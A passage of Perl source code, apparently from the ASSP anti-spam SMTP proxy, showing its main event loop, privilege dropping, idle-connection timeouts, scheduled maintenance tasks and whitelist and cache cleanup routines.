        } else {
            mlog( '',
                "failed to switch real gid to $gid ($gname) -- real uid=$(" );
        }
    }
    if ($uid) {

        # do it both ways so linux and bsd are happy
        $< = $> = $uid;
        if ( $> == $uid ) {
            mlog( '', "switched effective uid to $uid ($uname)" );
        } else {
            my $msg =
"failed to switch effective uid to $uid ($uname) -- real uid=$<";
            mlog( '', $msg );
            return;
        }
        if ( $< == $uid ) {
            mlog( '', "switched real uid to $uid ($uname)" );
        } else {
            mlog( '',
                "failed to switch real uid to $uid ($uname) -- real uid=$<" );
        }
    }
}

sub switchMode {
	my ($fh, $mode, $sl, $testmode ) = @_;
	my $this=$Con{$fh};
    my $newmode = $mode;
    my $slok = $sl == 1;

	return $newmode;
}

sub MainLoop {
	my $timeout;
	eval {
    local $SIG{ALRM} =
    sub { die "mainloop_timeout\n" };    # NB: \n required
    $timeout = 180;
    $timeout = $MainloopTimeout if $MainloopTimeout > 180;
    alarm $timeout;
    my $wait = 5; # keep it short enough for servicecheck to be called regularly
    my $stime =
      $CanStatCPU ? ( Time::HiRes::time() ) : time;    # loop cycle start time
    my ( $canread, $canwrite ) =
      IO::Select->select( $readable, $writable, undef, $wait );
    my $itime =
      $CanStatCPU ? ( Time::HiRes::time() ) : time;   # loop cycle idle end time
    my $ntime = $CanStatCPU ? 0.3 : 1;  
    $webTime   = 0;             # loop cycle web time interval, global var
    $nextLoop2 = $itime + 1; 
	
    # AZ: 2009-02-05 - signal service status
    if ( $SvcStopping != 0 ) {
      serviceCheck();
      return;
    }
	foreach my $fh (@$canwrite) {
        my $l = length( $Con{$fh}->{outgoing} );
        d("canwrite $fh $Con{$fh} l=$l paused=$Con{$fh}->{paused} ip=$Con{$fh}->{ip}");

        if ($l) {
        	$fh->blocking(0) if $fh->blocking;
        	my $written;
            eval {
                local $SIG{ALRM} =
    			sub { die "syswrite_timeout\n" };    # 

    			alarm 60;	
            	$written =
              		syswrite( $fh, $Con{$fh}->{outgoing}, $OutgoingBufSizeNew );
              	alarm 0;
              };
                #exception check
        	if ($@) {
				alarm 0;
	
            	mlog( 0, "mainloop exception: $@", 1, 1 );


        	}
            $Con{$fh}->{outgoing} = substr( $Con{$fh}->{outgoing}, $written );
            $l = length( $Con{$fh}->{outgoing} );

            # test for highwater mark
            if (   $written > 0
                && $l < $OutgoingBufSizeNew
                && $Con{$fh}->{paused} )
            {
                $Con{$fh}->{paused} = 0;
                $readable->add( $Con{$fh}->{friend} );
            }
            if ($Con{$fh}->{type} ne 'C' &&
                		$written > 0 &&
                		$Con{$fh}->{friend} &&
                		exists $Con{$Con{$fh}->{friend}} &&
                		$Con{$Con{$fh}->{friend}}->{lastcmd} =~ /^ *(?:DATA|BDAT)/io )
            {
                $Con{$Con{$fh}->{friend}}->{writtenDataToFriend} += 		$written;
            }
        }
        if ( length( $Con{$fh}->{outgoing} ) == 0 ) {
            $writable->remove($fh);
        }

        done2($fh) if $Con{$fh}->{closeafterwrite};
    }
    foreach my $fh (@$canread) {
		d("canread  $fh $Con{$fh}");
        if ( $fh && $SocketCalls{$fh} ) {
            if (
                $CanStatCPU
                && (   $SocketCalls{$fh} == \&WebTraffic
                    || $SocketCalls{$fh} == \&NewWebConnection
                    || $SocketCalls{$fh} == \&NewStatConnection )
              )
            {

                # calculate time spent serving web request
                $webTime -= Time::HiRes::time();
                $SocketCalls{$fh}->($fh);
                $webTime += Time::HiRes::time();
            } else {
                $SocketCalls{$fh}->($fh);
            }
        } else {
            my $ip;
            my $port;
            eval {
                $ip   = $fh->peerhost();
                $port = $fh->peerport();
            } if ( fileno($fh) );

            eval {
                delete $SocketCalls{$fh} if ( exists $SocketCalls{$fh} );
                delete $WebCon{$fh}      if ( exists $WebCon{$fh} );
                $readable->remove($fh);
                $writable->remove($fh);
                eval { $fh->close } if ( fileno($fh) );
            };
            delete $Con{$fh} if exists $Con{$fh};
        }
    }

    if ($smtpIdleTimeout > 0 || $smtpNOOPIdleTimeout > 0){
        if (scalar keys %Con > 0){
            my $tmpNow = time;
            
            # Check timeouts only every 15 seconds at least
            if ($tmpNow > ($lastTimeoutCheck + 15)){
            	my $procsock = 0;
                foreach my $tmpfh (keys %Con){
                    if ($Con{$tmpfh}->{type} eq 'C' && $Con{$tmpfh}->{timelast} > 0 && ! $Con{$tmpfh}->{movedtossl} &&
                        (($smtpIdleTimeout && $tmpNow - $Con{$tmpfh}->{timelast} > $smtpIdleTimeout) ||
                          (uc($Con{$tmpfh}->{lastcmd}) =~ /NOOP/ &&
                          $smtpNOOPIdleTimeout &&
                          $tmpNow - $Con{$tmpfh}->{timelast} > $smtpNOOPIdleTimeout) ||
                          ($smtpNOOPIdleTimeout &&
                          $smtpNOOPIdleTimeoutCount &&
                          $Con{$tmpfh}->{NOOPcount} >= $smtpNOOPIdleTimeoutCount))) {
                        if ($ConTimeOutDebug) {
                           my $m = &timestring();
                           $Con{$tmpfh}->{contimeoutdebug} .= "$m client Timeout after $smtpIdleTimeout secs\r\n" if $ConTimeOutDebug;
                           my $check = "$m client was not readable\r\n";
                           my @handles = $readable->handles();
                           foreach (@handles) {
                              $check = "$m client was readable\r\n" if ($tmpfh eq $_);
                           }
                           $Con{$tmpfh}->{contimeoutdebug} .= $check;
                           $check = "$m client was not writable\r\n";
                           @handles = $writable->handles();
                           foreach (@handles) {
                              $check = "$m client was writable\r\n" if ($tmpfh eq $_);
                           }
                           $Con{$tmpfh}->{contimeoutdebug} .= $check;
                           $m=time();
                           my $f = "$base/debug/$m.txt";
                           -d "$base/debug" or mkdir "$base/debug",0777;
                           my $CTOD;
                           open $CTOD,">$f" or mlog(0,"error: unable to open connection timeout debug log [$f] : $!");
                           binmode $CTOD;
                           print $CTOD  $Con{$tmpfh}->{contimeoutdebug};
                           close $CTOD;
                        }
                        $Con{$tmpfh}->{prepend}="";
                        my $idletime = $tmpNow - $Con{$tmpfh}->{timelast};
#                        $Con{$tmpfh}->{timestart} = 0;

                        my $type;

                        if ($Con{$tmpfh}->{oldfh} && $Con{$tmpfh}->{ip}) {
							setSSLfailed($Con{$tmpfh}->{ip});
                            $type = 'TLS-';
                            $Stats{smtpConnTLSIdleTimeout}++;
                        } elsif ("$tmpfh" =~/SSL/i && $Con{$tmpfh}->{ip}) {
                            $type = 'SSL-';
                            
                            $Stats{smtpConnSSLIdleTimeout}++;
                        } else {
                            $Stats{smtpConnIdleTimeout}++;
                            $Con{$tmpfh}->{messagereason} = "Connection idle for $smtpIdleTimeout secs - timeout";

                        }
                        $Con{$tmpfh}->{timedout} = 1;
                        mlog($tmpfh,$type."Connection idle for smtpIdleTimeout($smtpIdleTimeout) secs - timeout",1) if $SessionLog == 3;
                        mlog($tmpfh, "disconnected after smtpIdleTimeout ($idletime seconds)",1);
                        &killconnection( $Con{$tmpfh}->{client});
                        $procsock = 1;
                    }
                }
                $lastTimeoutCheck = $tmpNow;
            }
        }
    }
    
    d('mainloop before servicecheck');
    serviceCheck();    # for win32 services
    
	if ($syncToDo && !$AsASecondary ) {
      my $hassync;
      foreach (sort{&syncSortCFGRec()} glob("$base/configSync/*.cfg")) {
          next if -d $_;
          &syncConfigReceived($_);
          unlink "$_" if -e "$_";
          &syncWriteConfig();
          $hassync = 1;
          last;
      }
      $syncToDo = $hassync;
  	}
    # timer related issues
    $opencon = ( keys %Con );

     if ( $UpdateWhitelist && $itime >= $saveWhite  && !$AsASecondary ) {

        &SaveWhitelist;
        &SaveRedlist;
        $saveWhite = int($itime) + $UpdateWhitelist;
      }
    if ( $CleanDelayDBInterval && $itime >= $nextCleanDelayDB  && !$AsASecondary ) {

        &DoCleanDelayDB;
		&CleanCache;

        $nextCleanDelayDB = int($itime) + $CleanDelayDBInterval;
      }

    

    
    if ( $exportInterval && $itime >= $nextExport  && !$AsASecondary ) {
        &exportExtreme;
        $nextExport = int($itime) + $exportInterval * 3600;
      }
#	if ( $CleanPBInterval && $itime >= $nextCleanPB ) {
#        &CleanPB;
#		&SavePB;
#        $nextCleanPB = int($itime) + $CleanPBInterval * 3600;
#      }
    
#      d('mainloop before restart check');

  	if($AutoRestartInterval && $itime >= $endtime) {
# time to quit -- after endtime and we're bored.
        mlog(0,"info: restart time is reached - waiting until all connection are gone but max 5 minutes");
        while ($smtpConcurrentSessions && time < $endtime + 300) {
            my $tendtime = $endtime;
            $endtime = time + 10000;
            &MainLoop2();
            $endtime = $tendtime;
            Time::HiRes::sleep(0.5);
        }
        &downASSP("restarting");        
		&restartCMD();
	}
    SaveStats() if ( $SaveStatsEvery && $itime >= $NextSaveStats  && !$AsASecondary );

    uploadStats() if ($totalizeSpamStats && $itime >= $Stats{nextUpload}  && !$AsASecondary );
    if ( $resendmail && $itime > $nextResendMail ) {
        &resend_mail();
        $nextResendMail = time + 300;
    }
    
    
	if ($enableCFGShare && $CanUseNetSMTP && $isShareMaster &&  time > $NextSyncConfig && !$AsASecondary ) {
        my $i = 0;
        my $wr = 0;

        my $stat;
        foreach my $c (@ConfigArray) {
			
            next if ( ! $c->[0] or @{$c} == 5);
           
            next if $ConfigSync{$c->[0]}->{sync_cfg} != 1;

            $stat = &syncGetStatus($c->[0]);

            next if($stat < 1 or $stat == 2);
            
            $wr += &syncConfigSend($c->[0]);
            $i++ > 10 and last;

        }
        $NextSyncConfig = time + ($wr ? 30 : 60);

    }

    
    if ($CanStatCPU) {

        #
        # cycleTime = cpuTime + webTime
        # cpuTime = cpuIdleTime + cpuBusyTime
        #
  	my $ctime=Time::HiRes::time(); # loop cycle end time
  	my $cycleTime=$ctime-$stime;
  	my $cpuTime=$cycleTime-$webTime;
  	my $cpuIdleTime=$itime-$stime;
  	my $cpuBusyTime=$cpuTime-$cpuIdleTime;
  	$Stats{cpuTime}+=$cpuTime;
  	$Stats{cpuBusyTime}+=$cpuBusyTime;
# envelope following filter with instant rise and decay time of 1 second
  	my $lusage=$cpuUsage*exp(-(0.693/1)*$cycleTime);
  	my $usage=($cpuTime==0 ? 0 : $cpuBusyTime/$cpuTime);
  	$cpuUsage=$usage>$lusage ? $usage : $lusage;
    }
    if ( $doShutdown && $itime >= $doShutdown && !$AsASecondary) {
        &downASSP("restarting");
        
		&restartCMD();
    }

    # run every day at midnight
    my $t = int(
        (
            time +
              Time::Local::timelocal( localtime() ) -
              Time::Local::timelocal( gmtime() )
        ) / ( 24 * 3600 )
    );
    if ( $blockRepLastT && $t != $blockRepLastT ) {
        cleanUpMailLog() if !$AsASecondary ;
    }
    $blockRepLastT = $t;

    if ( time > $nextdetectGhostCon  && !$AsASecondary ) {
    	my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time);
        &detectGhostCon();
        $nextdetectGhostCon = time + 1800;
    }
	  if ($DebugRollTime && $debug && time > $nextDebugClear  && !$AsASecondary ) {
    	my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time);
        &DebugClear();
        $nextDebugClear = time + $DebugRollTime;
    }
    
    if($ReloadOptionFiles  && time - $lastOptionCheck > $ReloadOptionFiles ){
         d('ReloadOptionFiles');
         OptionCheck(); 
    }
    
    
    if(time > $nextDNSCheck && $DNSResponseLog  && !$AsASecondary ) {
        updateDNS( 'DNSServers', $Config{DNSServers}, $Config{DNSServers}, '' );
        $nextDNSCheck = time + 1800;
    }
    if(time > $nextSCANping && $UseAvClamd && $CanUseAvClamd && !$AvailAvClamd  && !$AsASecondary ) {
        pingScan();
        $nextSCANping = time + 180;
    }
    if ( time > $check4queuetime)  {
    	&check4queue() ;
    	
    	if ($RunTaskNow{BlockReportNow}) {
       	 	&BlockReportGen("1");

        	$RunTaskNow{BlockReportNow} = '';
   
    	}
    	if ($RunTaskNow{RebuildNow}) {
       	 	&Rebuild("25");
        	$RunTaskNow{RebuildNow} = '';
   
    	}
    	if ($RunTaskNow{GriplistDownloadNow}) {
       	 	$RunTaskNow{GriplistDownloadNow} = '';
       	 	&downloadGrip(1);
        	
   
    	}
    	if ($RunTaskNow{forceLDAPcrossCheck}) {
       	 	&LDAPcrossCheck;
        	$RunTaskNow{forceLDAPcrossCheck} = '';
   
    	}
    	if ($RunTaskNow{BayesianStarterDownloadNow}) {
       	 	&BayesianStarterDownload;
        	$RunTaskNow{BayesianStarterDownloadNow} = '';
   
    	}
    	if ($RunTaskNow{AutoUpdateNow}) {
  			$NextASSPFileDownload = -1;
        	$NextVersionFileDownload = -1;
        	$RunTaskNow{AutoUpdateNow} = '';
   
    	}

    	$check4queuetime += 300;
    }
    	

    if ( time > $nextConCheck  && !$AsASecondary  ) {
 
        if ( !$AsASecondary && $PrimaryMXping && $PrimaryMX && pingHost($PrimaryMX,'syn',25)) {
        	mlog(0,"info: port 25 disabled because PrimaryMX $PrimaryMX up and running") if !$PrimaryMXup;
    		$PrimaryMXup = 1;


    		
    	} else {
    		
    		if ($PrimaryMXping && $PrimaryMX) {
    			mlog(0,"info: port 25 enabled because PrimaryMX $PrimaryMX not reachable") if $PrimaryMXup;
    		} else {

				mlog(0,"info: port 25 enabled because PrimaryMX or PrimaryMXping disabled") if $PrimaryMXup;
			}
    		$PrimaryMXup = 0;
    	}

    	$nextConCheck = time + 60 ;
    }
    
    if ( time > $nextDestinationCheck  && !$AsASecondary ) {

    	$nextDestinationCheck = time + 180;
    }
    
    if ( time > $nextdetectHourJob  && !$AsASecondary ) {
    	my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time);
    	$nextdetectHourJob = int(time / 3600) * 3600 + 3600;
        $nextdetectHourJob += 15 unless $nextdetectHourJob % (24 * 3600);
        d("run HourJobs - scheduled - ($hour)");
        mlog(0,"info: hourly scheduler running after $hour:00");
        mlog(0,"info: next hourly scheduler will run after " . &timestring($nextdetectHourJob)) if $MaintenanceLog > 2;
    	mlog(0,"info: DEBUG is set") if $debug;
    	
    	$nextdetectHourJob = time + 3600;
    	&Rebuild($hour) if $RebuildSchedule ;
    	&HouseKeeping($hour) if $HouseKeepingSchedule  && !$AsASecondary ;
    	&cleanCacheIPNumTries();
        &cleanCacheSMTPdomainIP();
        &cleanDelayIP();


        &BlockReportGen() if $hour == int($BlockReportSchedule);
        &BlockReportGen('USERQUEUE') if $hour == int($QueueSchedule);
        
        
        
    }
    
    
    if($DoGlobalBlack  && !$AsASecondary && time >= $nextGlobalUploadBlack && $CanUseHTTPCompression && $globalClientName && $globalClientPass) {
    	alarm 0;
        &uploadGlobalPB('pbdb.black.db');
    }
    
    if($DoGlobalWhite  && !$AsASecondary && time >= $nextGlobalUploadWhite && $CanUseHTTPCompression && $globalClientName && $globalClientPass) {
        &uploadGlobalPB('pbdb.white.db');
    }
    
    if(!$AutoUpdateASSP  && !$AsASecondary && time > $NextVersionFileDownload) {
        		&downloadVersionFile();

    }
    

    
    if ($AutoUpdateASSP && !$AsASecondary && time >= $NextASSPFileDownload) {
    		
        		&downloadASSPVersion();
        		$NextCodeChangeCheck=time-1;

    }
    if ($AutoRestartAfterCodeChange && !$AsASecondary && time >= $NextCodeChangeCheck) {
    		
        		&codeChangeCheck();
        		$NextCodeChangeCheck = time + 3600;
    }
	
	if ($POP3Interval && !$AsASecondary && time >= $NextPOP3Collect) {
			&POP3Collect();
	        $NextPOP3Collect = $POP3Interval * 60 + time;
	}

	alarm 0;
    };
    
    #exception check
        if ($@) {
			
			alarm 0;
			if ($@ =~ /mainloop_timeout/) {

				if ($AutoRestartAfterTimeOut && $AutoRestartCmd) {
            		mlog( 0, "warning: restarting after MainloopTimeout of $MainloopTimeout seconds", 1 );
            		downASSP("AutoRestartAfterTimeOut caused restart after MainloopTimeout" );    
					restartCMD(); 
            	} else {
            	    mlog( 0, "warning: continuing after MainloopTimeout of $MainloopTimeout seconds", 1 );
            	}
			} else {	
            	mlog( 0, "terminating ASSP: mainloop exception: $@", 1 );
				downASSP("terminating ASSP: mainloop exception: $@" );  
            	exit 1;

			}
        }

}
d('Never reached...(we hope)');



# called during long operations to keep processing priority data
# alternates (1s/1s) between SMTP connections handling and the calling task
sub MainLoop2 {
	alarm 0;
	eval {
    local $SIG{ALRM} =
    sub { die "mainloop2_timeout\n" };    # NB: \n required
    my $timeout = 120;
    $timeout = $MainloopTimeout if $MainloopTimeout > 120;
    alarm $timeout;
    my $time = $AvailHiRes ? ( Time::HiRes::time() ) : time;

    # AZ: 2009-02-05 - signal service status
    if ( $SvcStopping != 0 ) {
      serviceCheck();
      return;
    }
	my $ntime = $CanStatCPU ? 0.3 : 1;
    if ( $time >= $nextLoop2 ) {
        $webTime += $time if $CanStatCPU;
        
        $nextLoop2 = $time + 1;    # 0.3s for SMTP stuff
        serviceCheck();            # for win32 services
        SaveStats() if ( $SaveStatsEvery && $itime >= $NextSaveStats );
        my ( $canread, $canwrite );
        do {
            ( $canread, $canwrite ) =
              IO::Select->select( $readable, $writable, undef, 0 );
            foreach my $fh (@$canwrite) {
                my $l = length( $Con{$fh}->{outgoing} );
                d("$fh $Con{$fh} l=$l");
                if ($l) {
                    my $written = syswrite( $fh, $Con{$fh}->{outgoing},
                        $OutgoingBufSizeNew );
                    if ($debug) {
                        if ( $written <= 200 ) {
                            d(      "wrote: ($written)<"
                                  . substr( $Con{$fh}->{outgoing}, 0, $written )
                                  . ">" );
                        } else {
                            d("wrote: ($written)<long text>");
                        }
                    }
                    $Con{$fh}->{outgoing} =
                      substr( $Con{$fh}->{outgoing}, $written );
                    $l = length( $Con{$fh}->{outgoing} );

                    # test for highwater mark
                    if (   $written > 0
                        && $l < $OutgoingBufSizeNew
                        && $Con{$fh}->{paused} )
                    {
                        $Con{$fh}->{paused} = 0;
                        $readable->add( $Con{$fh}->{friend} );
                    }
                    if ($Con{$fh}->{type} ne 'C' &&
                		$written > 0 &&
                		$Con{$fh}->{friend} &&
                		exists $Con{$Con{$fh}->{friend}} &&
                		$Con{$Con{$fh}->{friend}}->{lastcmd} =~ /^ *(?:DATA|BDAT)/io )
            		{
                		$Con{$Con{$fh}->{friend}}->{writtenDataToFriend} += 		$written;
            		}
                }
                if ( length( $Con{$fh}->{outgoing} ) == 0 ) {
                    $writable->remove($fh);
                }


                
            }
            foreach my $fh (@$canread) {
                if (
                    $fh
                    && (   $SocketCalls{$fh} == \&SMTPTraffic
                        || $SocketCalls{$fh} == \&NewSMTPConnection
                        || $SocketCalls{$fh} == \&WebTraffic
                        || $SocketCalls{$fh} == \&NewWebConnection
                        || $SocketCalls{$fh} == \&NewStatConnection )
                  )
                {
                    $SocketCalls{$fh}->($fh);
                }
            }
            $time = $AvailHiRes ? ( Time::HiRes::time() ) : time;
          } until ( ( @$canread == 0 && @$canwrite == 0 )
              || $time >= $nextLoop2 );
        my $ntime = $CanStatCPU ? 0.3 : 1;   
        $nextLoop2=$time+$ntime; # 0.3s for other tasks
        $webTime -= $time if $CanStatCPU;
        if ( $AutoRestartInterval && $itime >= $endtime ) {

            # time to quit -- after endtime and we're bored.
            mlog(0,"info: restart time is reached - waiting until all connection are gone but max 5 minutes");
        	while ($smtpConcurrentSessions && time < $endtime + 300) {
            	my $tendtime = $endtime;
            	$endtime = time + 10000;
            	&MainLoop2();
            	$endtime = $tendtime;
            	Time::HiRes::sleep(0.5);
        	}
			&downASSP("restarting");
			&restartCMD();
        }

        if ( $doShutdown && $itime >= $doShutdown ) {
            &downASSP("restarting");

			&restartCMD();
        }
    }
    alarm 0;
    };

}

sub detectGhostCon {
    my $count = 0;
    my $mem   = 0;
    foreach my $fh ( keys %Con ) {
        next if ( fileno($fh) );
        next if ( $Con{$fh}->{timestart} + 3600 > time );
        my $this = $Con{$fh};
        foreach ( keys %$this ) {
            eval { $mem = $mem + length( $this->{$_} ) + 8; };
        }
        $mem = int( $mem / 1024 + 2 );
        &printallCon($fh) if ( $MaintenanceLog > 1 );
        $count++;
        &done2($fh);
        last;
    }
    if ($count == 0) {
      $nextdetectGhostCon = time + 300;
    }
}

sub DebugClear {

if ($debug && !$AsASecondary) {

 		close $DEBUG;
		my $fn = localtime();
 		$fn =~ s/^... (...) +(\d+) (\S+) ..(..)/$1-$2-$4-$3/;
 		$fn =~ s/[\/:]/\-/g; 		
		$currentDEBUGfile= ">$base/debug/" . $fn . ".dbg";
    	open( $DEBUG, ">$currentDEBUGfile" );
    	binmode($DEBUG);
    	my $oldfh = select($DEBUG);
    	$| = 1;
    	select($oldfh);

	}
}


sub getDBCount {
  my ($hash,$config) = @_;
  my $hashObject = $hash.'Object';
  my $i = 0;
  
 $i = scalar keys %{$hash};

  return $i;
}
sub SaveWhitelist{
	return if $AsASecondary;
    if ( $UpdateWhitelist && $whitelistdb !~ /mysql/ ) {
        mlog( 0, "saving whitelistdb" ) if $MaintenanceLog;
        
        $WhitelistObject->flush() if $WhitelistObject;
    }


}

sub SaveRedlist{
	return if $AsASecondary;

    if ( $UpdateWhitelist && $redlistdb !~ /mysql/ ) {
        mlog( 0, "saving redlistdb" ) if $MaintenanceLog;
        $RedlistObject->flush() if $RedlistObject;
    }

}
sub SaveLDAPlist {

    mlog( 0, "saving ldaplistdb" ) if $MaintenanceLog;
    $LDAPlistObject->flush() 	   if $LDAPlistObject;
    $LDAPNotFoundObject->flush()   	if $LDAPNotFoundObject;

}

sub SavePersBlack {

    mlog( 0, "saving persblackdb" ) if $MaintenanceLog;
    $PersBlackObject->flush() 	   if $PersBlackObject;


}



sub SavePB {
    return if $AsASecondary;
    mlog( 0, "saving penaltydb (pbdb)" ) if $MaintenanceLog;
    $PBBlackObject->flush() if $PBBlackObject && $pbdb !~ /mysql/;
    $PBWhiteObject->flush() if $PBWhiteObject && $pbdb !~ /mysql/;
    
    $SpamIPsObject->flush() if $SpamIPsObject;


}

sub SaveCache {
	if ( $delaydb !~ /mysql/ ) {
        mlog( 0, "saving delaydb" ) if $MaintenanceLog;
        $DelayObject->flush()      if $DelayObject;
        $DelayWhiteObject->flush() if $DelayWhiteObject;
    }
    mlog( 0, "saving cache records" ) if $MaintenanceLog;
    $RBLCacheObject->flush()   	if $RBLCacheObject;
    $URIBLCacheObject->flush() 	if $URIBLCacheObject;
    $SPFCacheObject->flush()   	if $SPFCacheObject;
    $PTRCacheObject->flush()   	if $PTRCacheObject;
    $MXACacheObject->flush()   	if $MXACacheObject;
    $SBCacheObject->flush()    	if $SBCacheObject;
    $OKCacheObject->flush()    	if $OKCacheObject;
    $RWLCacheObject->flush()   	if $RWLCacheObject;
    $FreqObject->flush() 	   	if $FreqObject;
    $SMTPfailedObject->flush()  if $SMTPfailedObject;
    $SSLfailedObject->flush()  	if $SSLfailedObject;
    $PBTrapObject->flush()  	if $PBTrapObject;

    mlog( 0, "saving ldaplistdb" ) 	if $MaintenanceLog;
    $LDAPlistObject->flush()   		if $LDAPlistObject;
    $LDAPNotFoundObject->flush()   	if $LDAPNotFoundObject;
    mlog( 0, "saving persblackdb" ) if $MaintenanceLog;
    $PersBlackObject->flush() 	   if $PersBlackObject;



}

sub SaveDB {

    my ($CacheObject,$KeyName) = @_;

    mlog( 0, "saving cache records for $KeyName" ) if $MaintenanceLog;
    $$CacheObject->flush() if $$CacheObject;

}


  sub SaveHash {
  my $HashName = shift;
    foreach my $dbGroupEntry (@dbGroup) {
            my ( $KeyName, $dbConfig, $CacheObject, $realFileName ) =
              split(/,/o,$dbGroupEntry);

            next unless $HashName eq $KeyName;

            next if $realFileName eq "mysql";
            mlog( 0, "saving cache records for $KeyName ($realFileName)") if $MaintenanceLog;
            $$CacheObject->flush() if $$CacheObject;

            last;

   }

 

}
sub ResetPB {
my $fil = shift;
foreach my $dbGroupEntry (@dbGroup) {
            my ( $KeyName, $dbConfig, $CacheObject, $realFileName ) =
              split(/,/o,$dbGroupEntry);

            
            next if !$CacheObject;
            next if $realFileName eq "mysql";
            next unless ( $fil =~ /$realFileName/ );
#			mlog( 0, "ResetPB $CacheObject,$realFileName/" ); 
			$$CacheObject->resetCache();
            last;

   }
}
sub CleanPB {
	return if $AsASecondary;
    # clean PenaltyBox Databases

    mlog( 0, "cleaning up penalty records ..." ) if $MaintenanceLog;
    &cleanBlackPB if $PBBlackObject;
    MainLoop2();

    &cleanWhitePB if $PBWhiteObject;
    MainLoop2();



}


# global and personal Whitelist handling
sub Whitelist {
    my($mf,$to,$action)=@_;
    if (!-e "$base/$whitelistdb") {
    	if (-e "$base/$whitelistdb.bak") {
    		 copy("$base/$whitelistdb.bak","$base/$whitelistdb");
    	}   
    }
    d("Whitelist $mf,$to,$action");
	my $mfdd;
    $mfdd = $1 if $mf=~/(\@.*)/o;
    my $alldd        = "*$mfdd";
	$mf = $alldd if $Whitelist{$alldd} && $action eq 'add';
    $mf = lc $mf;
    $to = "";

    $action = lc $action;
    my $globWhite = $Whitelist{$mf};
    my $persWhite = $Whitelist{"$mf,$to"};
    my $time = time;
    if (! $action) {                  # is there any Whitelist entry
        return 0 if $persWhite > 9999999999;       # a deleted personal
        return ($persWhite or $globWhite) ? 1 : 0;      # a personal or global
    } elsif ($action eq 'add') {
#        $Whitelist{"$mf,$to"} = $time if $to;
        $Whitelist{$mf} = $time;
        return;
    } elsif ($action eq 'delete') {
        if ($to) {
            $Whitelist{"$mf,$to"} = $time + 9999999999;  # delete the personal
        } else {
            delete $Whitelist{$mf};                      # delete the global entry
            while (my ($k,$v) = each(%Whitelist)) {      # and all personal
                delete $Whitelist{$k} if $k =~ /^$mf,/;
            }
        }
    }
}

sub CleanWhitelist {
  d('CleanWhitelist');
  if (!-e "$base/$whitelistdb") {
    	if (-e "$base/$whitelistdb.bak") {
    		 copy("$base/$whitelistdb.bak","$base/$whitelistdb");
    	}   
  }
  mlog(0,"cleaning up whitelist database ...") if $MaintenanceLog;
  my $t=time;
  my $keys_before = my $keys_deleted = 0;
  my $maxwhite = $MaxWhitelistDays;
  $maxwhite = 180 if $MaxWhitelistDays < 180;
  my $maxtime = $maxwhite * 3600 * 24;
  my $delta;
  my $h;
  my $hat;
  if ($MaxWhitelistDays) {
      while (my ($k,$v)=each(%Whitelist)) {
        $keys_before++;

		if ($k =~ /($BLDRE)/ ) {
			$keys_deleted++;
			delete $Whitelist{$k};
			mlog(0,"Admininfo: $k removed from whitelistdb - entry was in blackisted domains",1) if $MaintenanceLog >= 2;
		}
        $v = 0 unless $v;
        next if $v < 1000000000;
        
        $k =~ /\@(.*)/;
        $delta = $t-$v;
        if ($delta >= $maxtime or ($k=~/,/o && $v > 9999999999 && $delta + 9999999999 >= $maxtime)) {
          	delete $Whitelist{$k};
          	$v -= 9999999999 if $v > 9999999999;
          	mlog(0,"Admininfo: $k removed from whitelistdb - entry was older than MaxWhitelistDays (" . &timestring($v,'') . ')',1) if $MaintenanceLog >= 2;
          	$keys_deleted++;
          
        }

        $h  = $1 if $k =~ /\@(.*)/;
        $hat = $1 if $k =~ /(\@.*)/;
        if (exists $LDAPlist{$hat} or ($localDomains && ( $h =~ $LDRE || $hat =~ $LDRE ))) {
        	delete $Whitelist{$k};
        	mlog(0,"Admininfo: $k removed from whitelistdb - entry was local address",1) if $MaintenanceLog >= 2;
        	$keys_deleted++;
       	}
      }
      mlog(0,"cleaning whitelist database finished: keys before=$keys_before, deleted=$keys_deleted") if $keys_before && $MaintenanceLog;
  }
  &SaveWhitelist();
}

sub CleanCache {
	return if $AsASecondary;
    mlog( 0, "cleaning up cache records ..." ) if $MaintenanceLog;
    
    &cleanCacheRBL if $RBLCacheExp;
    $RBLCacheObject->flush()   if $RBLCacheObject;
    MainLoop2();
    
    &cleanCacheURI if $URIBLCacheExp;
    $URIBLCacheObject->flush() if $URIBLCacheObject;
    MainLoop2();
    
    &cleanCacheRWL if $RWLCacheExp;
    $RWLCacheObject->flush()   if $RWLCacheObject;
    MainLoop2();
    
    &cleanCachePTR if $PTRCacheExp;
    $PTRCacheObject->flush()   if $PTRCacheObject;
    MainLoop2();
    
    &cleanCacheMXA if $MXACacheExp;
    $MXACacheObject->flush()   if $MXACacheObject;
    MainLoop2();
    
    &cleanCacheSPF if $SPFCacheExp;
    $SPFCacheObject->flush()   if $SPFCacheObject;
    MainLoop2();
    
    &cleanCacheSB if $SBCacheExp;
    $SBCacheObject->flush()    if $SBCacheObject;
    MainLoop2();

    
    &cleanTrapPB if $PBTrapObject;
    $PBTrapObject->flush()  if $PBTrapObject;
 	MainLoop2();
 	
    &cleanCacheLocalFrequency();
    
	&cleanCacheAUTHErrors();
	
	&cleanBlackPB if $PBBlackObject;
	$PBBlackObject->flush() if $PBBlackObject && $pbdb !~ /mysql/;    
    MainLoop2();

    &cleanWhitePB if $PBWhiteObject;
    $PBWhiteObject->flush() if $PBWhiteObject && $pbdb !~ /mysql/;
    MainLoop2();

    
  

  
}

sub DoCleanDelayDB {
    return if $AsASecondary;
    mlog( 0, "cleaning up delaying databases ..." ) if $MaintenanceLog;
    my $t = time;
    my $keys_before = $keys_deleted = 0;
    while ( my ( $k, $v ) = each(%Delay) ) {
        $keys_before++;
        if ( $t - $v >= $DelayEmbargoTime * 60 + $DelayWaitTime * 3600 ) {
            delete $Delay{$k};
            $keys_deleted++;
        }
        MainLoop2();
    }
    mlog( 0,
"cleaning delaying database (triplets) finished; keys before=$keys_before, deleted=$keys_deleted"
    ) if $MaintenanceLog;
    $keys_before = $keys_deleted = 0;
    while ( my ( $k, $v ) = each(%DelayWhite) ) {
        $keys_before++;
        if ( $t - $v >= $DelayExpiryTime * 24 * 3600 ) {
            delete $DelayWhite{$k};
            $keys_deleted++;
        }
        MainLoop2();
    }
    mlog( 0,
"cleaning delaying database (whitelisted tuplets) finished; keys before=$keys_before, deleted=$keys_deleted"
    ) if $MaintenanceLog;
    $DomainCache ||= '^(?!)';
    
	if ( $delaydb !~ /mysql/ ) {

        $DelayObject->flush()      if $DelayObject;
        $DelayWhiteObject->flush() if $DelayWhiteObject;
    }
    
}



sub mlogRe{
	my($fh,$subre,$regextype,$check)=@_;
	my $this = exists $Con{$fh} ? $Con{$fh} : {};
